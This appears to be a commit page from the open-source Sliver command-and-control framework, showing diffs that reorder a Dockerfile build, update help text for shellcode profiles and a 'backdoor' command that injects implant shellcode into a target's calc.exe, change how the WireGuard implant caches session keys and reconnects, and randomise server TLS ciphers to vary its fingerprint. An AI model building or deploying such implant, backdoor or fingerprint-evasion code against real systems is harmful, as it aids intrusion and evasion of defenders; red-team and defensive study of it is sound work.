Tweak ciphers, fix issue #896

Merge pull request #893 from jamesgol/wireshark-sessions
Save implant Wireguard session keys
2026-11-10 09:51:30 -10:00 · 2022-09-21 09:13:40 -07:00 · 2022-09-20 19:29:40 -05:00 · 2022-09-20 12:23:39 -07:00 · 2022-09-20 09:27:31 -05:00 · 2022-09-20 09:27:11 -05:00
4 changed files with 40 additions and 28 deletions
@@ -52,13 +52,10 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}

 # Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
-ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
-RUN ./go-assets.sh
-
-# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
-RUN make clean-all \
-    && make \
+RUN make clean-all
+RUN ./go-assets.sh
+RUN make \
    && cp -vv sliver-server /opt/sliver-server \
    && /opt/sliver-server unpack --force 

@@ -206,10 +206,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile

 To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:

-profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
+profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
 `

-	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
+	newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
 [[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.

 [[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -464,7 +464,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
 [[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
 [[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"

-[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
+[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
 `
 	makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
 [[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
@@ -59,7 +59,11 @@ var (
 	wgKeyExchangePort = getWgKeyExchangePort()
 	wgTcpCommsPort    = getWgTcpCommsPort()

+	wgSessPrivKey string
+	wgSessPubKey  string
+
 	PingInterval = 2 * time.Minute
+	failedConn   = 0
 )

 // GetTNet - Get the netstack Net object
@@ -151,12 +155,11 @@ func ReadEnvelope(connection net.Conn) (*pb.Envelope, error) {
 	return envelope, nil
 }

-// WGConnect - Get a wg connection or die trying
-func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
-
+// getSessKeys - Connect to the wireguard server and retrieve session specific keys and IP
+func getSessKeys(address string, port uint16) error {
 	_, dev, tNet, err := bringUpWGInterface(address, port, wgImplantPrivKey, wgServerPubKey, wgPeerTunIP)
 	if err != nil {
-		return nil, nil, err
+		return err
 	}

 	dev.Up()
@@ -170,10 +173,10 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
 		// {{if .Config.Debug}}
 		log.Printf("Unable to connect to wg key exchange listener: %v", err)
 		// {{end}}
-		return nil, nil, err
+		return err
 	}

-	privKey, pubKey, newIP := doKeyExchange(keyExchangeConnection)
+	wgSessPrivKey, wgSessPubKey, tunAddress = doKeyExchange(keyExchangeConnection)

 	// {{if .Config.Debug}}
 	log.Printf("Signaling wg device to go down")
@@ -186,12 +189,21 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
 		// {{if .Config.Debug}}
 		log.Printf("Failed to close device.Device: %s", err)
 		// {{end}}
-		return nil, nil, err
+		return err
+	}
+	return nil
+}
+
+// WGConnect - Get a wg connection or die trying
+func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
+	if wgSessPrivKey == "" || failedConn > 2 {
+		getSessKeys(address, port)
 	}

-	// Bring up second wireguard connection using retrieved keys and IP
-	_, dev, tNet, err = bringUpWGInterface(address, port, privKey, pubKey, newIP)
+	// Bring up actual wireguard connection using retrieved keys and IP
+	_, dev, tNet, err := bringUpWGInterface(address, port, wgSessPrivKey, wgSessPubKey, tunAddress)
 	if err != nil {
+		failedConn++
 		return nil, nil, err
 	}

@@ -200,14 +212,15 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
 		// {{if .Config.Debug}}
 		log.Printf("Unable to connect to sliver listener: %v", err)
 		// {{end}}
+		failedConn++
 		return nil, nil, err
 	}

 	// {{if .Config.Debug}}
 	log.Printf("Successfully connected to sliver listener")
 	// {{end}}
+	failedConn = 0
 	tunnelNet = tNet
-	tunAddress = newIP
 	return connection, dev, nil
 }

@@ -267,17 +267,17 @@ func getHTTPSConfig(conf *HTTPServerConfig) *tls.Config {

 	// Randomize the cipher suites
 	allCipherSuites := []uint16{
-		// tls.TLS_RSA_WITH_RC4_128_SHA,                      //uint16 = 0x0005
-		tls.TLS_RSA_WITH_3DES_EDE_CBC_SHA,        //uint16 = 0x000a
-		tls.TLS_RSA_WITH_AES_128_CBC_SHA,         //uint16 = 0x002f
-		tls.TLS_RSA_WITH_AES_256_CBC_SHA,         //uint16 = 0x0035
-		tls.TLS_RSA_WITH_AES_128_CBC_SHA256,      //uint16 = 0x003c
-		tls.TLS_RSA_WITH_AES_128_GCM_SHA256,      //uint16 = 0x009c
-		tls.TLS_RSA_WITH_AES_256_GCM_SHA384,      //uint16 = 0x009d
-		tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA,     //uint16 = 0xc007
+		// tls.TLS_RSA_WITH_RC4_128_SHA,     //uint16 = 0x0005
+		tls.TLS_RSA_WITH_3DES_EDE_CBC_SHA,   //uint16 = 0x000a
+		tls.TLS_RSA_WITH_AES_128_CBC_SHA,    //uint16 = 0x002f
+		tls.TLS_RSA_WITH_AES_256_CBC_SHA,    //uint16 = 0x0035
+		tls.TLS_RSA_WITH_AES_128_CBC_SHA256, //uint16 = 0x003c
+		tls.TLS_RSA_WITH_AES_128_GCM_SHA256, //uint16 = 0x009c
+		tls.TLS_RSA_WITH_AES_256_GCM_SHA384, //uint16 = 0x009d
+		// tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA,  //uint16 = 0xc007
 		tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, //uint16 = 0xc009
 		tls.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, //uint16 = 0xc00a
-		// tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA,                //uint16 = 0xc011
+		// tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA,    //uint16 = 0xc011
 		tls.TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA,           //uint16 = 0xc012
 		tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,            //uint16 = 0xc013
 		tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,            //uint16 = 0xc014
@@ -290,6 +290,8 @@ func getHTTPSConfig(conf *HTTPServerConfig) *tls.Config {
 		tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256,   //uint16 = 0xcca8
 		tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256, //uint16 = 0xcca9
 	}
+	// CipherSuites ignores the order of the ciphers, this random shuffle
+	// is truncated resulting in a random selection from all ciphers
 	insecureRand.Shuffle(len(allCipherSuites), func(i, j int) {
 		allCipherSuites[i], allCipherSuites[j] = allCipherSuites[j], allCipherSuites[i]
 	})
Author	SHA1	Message	Date
moloch--	0f53c7ca11	Tweak ciphers, fix issue #896	2022-09-21 09:13:40 -07:00
Joe	11949202b5	Merge pull request #893 from jamesgol/wireshark-sessions Save implant Wireguard session keys	2022-09-20 19:29:40 -05:00
James Golovich	d41833c490	Allow Wireguard implant to retrieve new keys after 3 connect failures	2022-09-20 12:23:39 -07:00
Joe	6c21d34963	Merge pull request #890 from BishopFox/fix/help Fix help	2022-09-20 09:27:31 -05:00
Joe	f68da6cf5c	Merge pull request #891 from BishopFox/jarmy Optionally randomize server JARM fingerprint	2022-09-20 09:27:11 -05:00
moloch--	6b876d5b0b	Fix typo	2022-09-19 23:00:48 -07:00
James Golovich	a6d4e4fec2	Save implant Wireguard session keys If the Wireguard implant is setup as a beacon it will connect using the implant private key at every beacon interval and request a new key. It's like in The Highlander, there can be only one... session for each private key. If someone had a large number of wg beacons connecting there's potential for multiples to be trying at one time.	2022-09-19 22:05:43 -07:00
moloch--	8c144e3f66	Fix help	2022-09-19 18:23:52 -07:00